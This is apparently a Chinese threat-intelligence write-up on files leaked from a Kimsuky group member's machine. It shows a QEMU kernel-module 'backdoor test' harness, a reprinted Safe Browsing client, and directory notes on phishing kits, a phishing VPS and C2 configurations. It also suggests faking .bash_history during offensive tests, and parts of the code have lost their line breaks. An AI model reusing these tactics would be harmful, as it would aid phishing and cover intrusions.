"$GUEST_TEST_SCRIPT") && $RFS_PATH/$(basename "$GUEST_TEST_SCRIPT")' > $RFS_PATH/$TEST_LOG_GUEST 2>&1 &" || {echo"Failed to execute guest backdoor test script: $(basename "$GUEST_TEST_SCRIPT") on QEMU."kill -SIGTERM "$QEMU_PID" 2>/dev/null || true        rm -f "$TEMP_ROOTFS"exit 1    }    sleep 4  # Wait briefly to ensure the test script starts# Execute the host backdoor test scriptecho"Executing host backdoor test script: $(basename "$HOST_TEST_SCRIPT")..."    bash "$HOST_TEST_SCRIPT" > "$TEST_LOG_HOST" 2>&1# Retrieve the guest log file from QEMUecho"Retrieving log file $TEST_LOG_GUEST from QEMU..."    scp -i "$SSH_KEY" -o StrictHostKeyChecking=no -P "${SSH_PORT}" root@localhost:"$RFS_PATH/$TEST_LOG_GUEST""${CMAKE_BINARY_DIR}/" || {echo"Failed to retrieve log file $TEST_LOG_GUEST from QEMU."    }# Manually kill QEMU after backdoor testecho"Killing QEMU after backdoor test: $(basename "$GUEST_TEST_SCRIPT")..."kill -SIGTERM "$QEMU_PID" 2>/dev/null || true# Wait for QEMU to terminatewait"$QEMU_PID" 2>/dev/null || true# Display completion messagesecho"Backdoor test script $(basename "$GUEST_TEST_SCRIPT") completed. Output saved to $TEST_LOG_GUEST."echo"Host backdoor test script $(basename "$HOST_TEST_SCRIPT") completed. Output saved to $TEST_LOG_HOST."# Cleanupecho"Cleaning up temporary files for backdoor test: $(basename "$GUEST_TEST_SCRIPT")..."    rm -f "$TEMP_ROOTFS"echo"Cleanup completed for backdoor test: $(basename "$GUEST_TEST_SCRIPT")."}

这段Bash脚本是一个功能完备、高度自动化的内核模块CI/CD（持续集成/持续部署）测试框架。它通过QEMU创建了一个安全、隔离、可重复的测试环境，能够自动化地完成以下所有工作：

• 环境搭建: 启动虚拟机，配置网络。

• 部署: 将待测试的内核模块和测试脚本部署到虚拟机中。

• 执行: 运行测试脚本。

• 交互测试: 支持需要宿主机和虚拟机协同工作的复杂场景（如网络后门测试）。

• 结果收集: 自动将测试日志从虚拟机下载回宿主机。

• 清理: 自动关闭虚拟机并删除所有临时文件。

• 测试选择: 支持根据环境变量和标记来选择性地运行测试。

路径

• C:\Users\Administrator\Desktop\work\work\home\user\gglsbl\gglsbl

client.py：

这段代码实现了一个Google Safe Browsing API v4的客户端，名为 gglsbl。

使攻击者能够在本地高效地查询一个URL是否被Google标记为恶意网站（例如，钓鱼网站、恶意软件分发网站等），而不需要每次都直接去请求Google的服务器。

#!/usr/bin/env pythonfrom base64 import b64decodeimport loggingfrom gglsbl.utils import to_hexfrom gglsbl.protocol import SafeBrowsingApiClient, URLfrom gglsbl.storage import SqliteStorage, ThreatList, HashPrefixListlog = logging.getLogger('gglsbl')log.addHandler(logging.NullHandler())class SafeBrowsingList(object):"""Interface for Google Safe Browsing API    supporting partial update of the local cache.    https://developers.google.com/safe-browsing/v4/    """    def __init__(self, api_key, db_path='/tmp/gsb_v4.db',                 discard_fair_use_policy=False, platforms=None, timeout=10):"""Constructor.        Args:            api_key: string, a key for API authentication.            db_path: string, path to SQLite DB file to store cached data.            discard_fair_use_policy: boolean, disable request frequency throttling (only for testing).            platforms: list, threat lists to look up, default includes all platforms.            timeout: seconds to wait for Sqlite DB to become unlocked from concurrent WRITE transaction.        """        self.api_client = SafeBrowsingApiClient(api_key, discard_fair_use_policy=discard_fair_use_policy)        self.storage = SqliteStorage(db_path, timeout=timeout)        self.platforms = platforms    def _verify_threat_list_checksum(self, threat_list, remote_checksum):        local_checksum = self.storage.hash_prefix_list_checksum(threat_list)return remote_checksum == local_checksum    def update_hash_prefix_cache(self):"""Update locally cached threat lists."""        try:            self.storage.cleanup_full_hashes()            self.storage.commit()            self._sync_threat_lists()            self.storage.commit()            self._sync_hash_prefix_cache()        except Exception:            self.storage.rollback()            raise    def _sync_threat_lists(self):        threat_lists_to_remove = dict()for ts in self.storage.get_threat_lists():            threat_lists_to_remove[repr(ts)] = ts        threat_lists = self.api_client.get_threats_lists()for entry in threat_lists:            threat_list = ThreatList.from_api_entry(entry)if self.platforms is None or threat_list.platform_type in self.platforms:                self.storage.add_threat_list(threat_list)                try:                    del threat_lists_to_remove[repr(threat_list)]                except KeyError:                    passfor ts in threat_lists_to_remove.values():            self.storage.delete_hash_prefix_list(ts)            self.storage.delete_threat_list(ts)        del threat_lists_to_remove    def _sync_hash_prefix_cache(self):        client_state = self.storage.get_client_state()for response in self.api_client.get_threats_update(client_state):            response_threat_list = ThreatList(response['threatType'], response['platformType'],                                              response['threatEntryType'])if response['responseType'] == 'FULL_UPDATE':                self.storage.delete_hash_prefix_list(response_threat_list)for r in response.get('removals', []):                self.storage.remove_hash_prefix_indices(response_threat_list, r['rawIndices']['indices'])for a in response.get('additions', []):                hash_prefix_list = HashPrefixList(a['rawHashes']['prefixSize'], b64decode(a['rawHashes']['rawHashes']))                self.storage.populate_hash_prefix_list(response_threat_list, hash_prefix_list)            expected_checksum = b64decode(response['checksum']['sha256'])            log.info('Verifying threat hash prefix list checksum')if self._verify_threat_list_checksum(response_threat_list, expected_checksum):                log.info('Local cache checksum matches the server: {}'.format(to_hex(expected_checksum)))                self.storage.update_threat_list_client_state(response_threat_list, response['newClientState'])                self.storage.commit()else:                raise Exception('Local cache checksum does not match the server: ''"{}". Consider removing {}'.format(to_hex(expected_checksum), self.storage.db_path))    def _sync_full_hashes(self, hash_prefixes):"""Download full hashes matching hash_prefixes.        Also update cache expiration timestamps.        """        client_state = self.storage.get_client_state()        fh_response = self.api_client.get_full_hashes(hash_prefixes, client_state)# update negative cache for each hash prefix# store full hash (insert or update) with positive cache bumped upfor m in fh_response.get('matches', []):            threat_list = ThreatList(m['threatType'], m['platformType'], m['threatEntryType'])            hash_value = b64decode(m['threat']['hash'])            cache_duration = int(m['cacheDuration'].rstrip('s'))            malware_threat_type = Nonefor metadata in m['threatEntryMetadata'].get('entries', []):                k = b64decode(metadata['key'])                v = b64decode(metadata['value'])if k == 'malware_threat_type':                    malware_threat_type = v            self.storage.store_full_hash(threat_list, hash_value, cache_duration, malware_threat_type)        negative_cache_duration = int(fh_response['negativeCacheDuration'].rstrip('s'))for prefix_value in hash_prefixes:            self.storage.update_hash_prefix_expiration(prefix_value, negative_cache_duration)    def lookup_url(self, url):"""Look up specified URL in Safe Browsing threat lists."""iftype(url) is not str:            url = url.encode('utf8')if not url.strip():            raise ValueError("Empty input string.")        url_hashes = URL(url).hashes        try:            list_names = self._lookup_hashes(url_hashes)            self.storage.commit()        except Exception:            self.storage.rollback()            raiseif list_names:return list_namesreturn None    def _lookup_hashes(self, full_hashes):"""Lookup URL hash in blacklists        Returns names of lists it was found in.        """        full_hashes = list(full_hashes)        cues = [fh[0:4] for fh in full_hashes]        result = []        matching_prefixes = {}        matching_full_hashes = set()        is_potential_threat = False# First lookup hash prefixes which match full URL hashfor (hash_prefix, negative_cache_expired) in self.storage.lookup_hash_prefix(cues):for full_hash in full_hashes:if full_hash.startswith(hash_prefix):                    is_potential_threat = True# consider hash prefix negative cache as expired if it is expired in at least one threat list                    matching_prefixes[hash_prefix] = matching_prefixes.get(hash_prefix, False) or negative_cache_expired                    matching_full_hashes.add(full_hash)# if none matches, URL hash is clearif not is_potential_threat:return []# if there is non-expired full hash, URL is blacklisted        matching_expired_threat_lists = set()for threat_list, has_expired in self.storage.lookup_full_hashes(matching_full_hashes):if has_expired:                matching_expired_threat_lists.add(threat_list)else:                result.append(threat_list)if result:return result# If there are no matching expired full hash entries# and negative cache is still current for all prefixes, consider it safeif len(matching_expired_threat_lists) == 0 and sum(map(int, matching_prefixes.values())) == 0:            log.info('Negative cache hit.')return []# Now we can assume that there are expired matching full hash entries and/or# cache prefix entries with expired negative cache. Both require full hash sync.        self._sync_full_hashes(matching_prefixes.keys())# Now repeat full hash lookupfor threat_list, has_expired in self.storage.lookup_full_hashes(matching_full_hashes):if not has_expired:                result.append(threat_list)return result

该脚本内容与 \work\work\home\user\PycharmProjects\gsb 内容一致。

路径

• \work\work\media\user\MacKMLink

MacKMLink.exe 是一个与罗技 (Logitech) 鼠标和键盘软件相关的可执行文件。它通常是Logitech Options或Logi Options+ 这类罗技官方配置软件的一部分。

由于MacKMLink.exe是一个常见且通常被信任的后台进程，恶意软件作者有时会利用这一点进行伪装 。

路径

• \work\work\mnt\hgfs\Desktop\fish_25327

有一些钓鱼会用到的东西

路径

• \work\work\mnt\hgfs\Desktop\111

这个目录很乱，有一些账户数据库文件、编译命令的文档以及一些C2配置文件等等。。

路径

• \work\work\mnt\hgfs\Desktop\New folder

钓鱼VPS

路径

• \work\work\mnt\hgfs\share_data

除了共享的TW数据，与其它路径文件并无二致

路径

• \work\work\home\user.config

用户配置文件

路径

• \work\work\home\user.config\sogou-qimpanel\skin

黑阔同款搜狗皮肤用上

路径

• \work\work\home\user

• \work\work\root

都有 .bash_history 文件，我们在进攻性测试时，可以伪造同样的历史记录。

总结

虽然泄露的文件仅是一名成员的电脑，但是我们可以看到Kimsuky组织显然拥有一个成熟的、内部开发的恶意软件“武器库”。

他们不依赖于公开的、现成的黑客工具，而是倾向于自己编写或深度魔改其攻击载荷的每一个组件。

这体现了其高水平的技术能力和极强的反侦察意识。

总而言之，泄露的一些代码片段已经描绘了一个典型的、高水平国家级黑客组织的轮廓。他们不仅拥有强大的攻击能力，更在“如何隐藏自己”这门艺术上登峰造极。

对于安全防御人员来说，研究这些代码是理解现代高级威胁行为、改进检测策略和开发防御工具的宝贵资料。

ps：因为时间的关系，我并没有查看所有文件，所以部分内容仍在探索。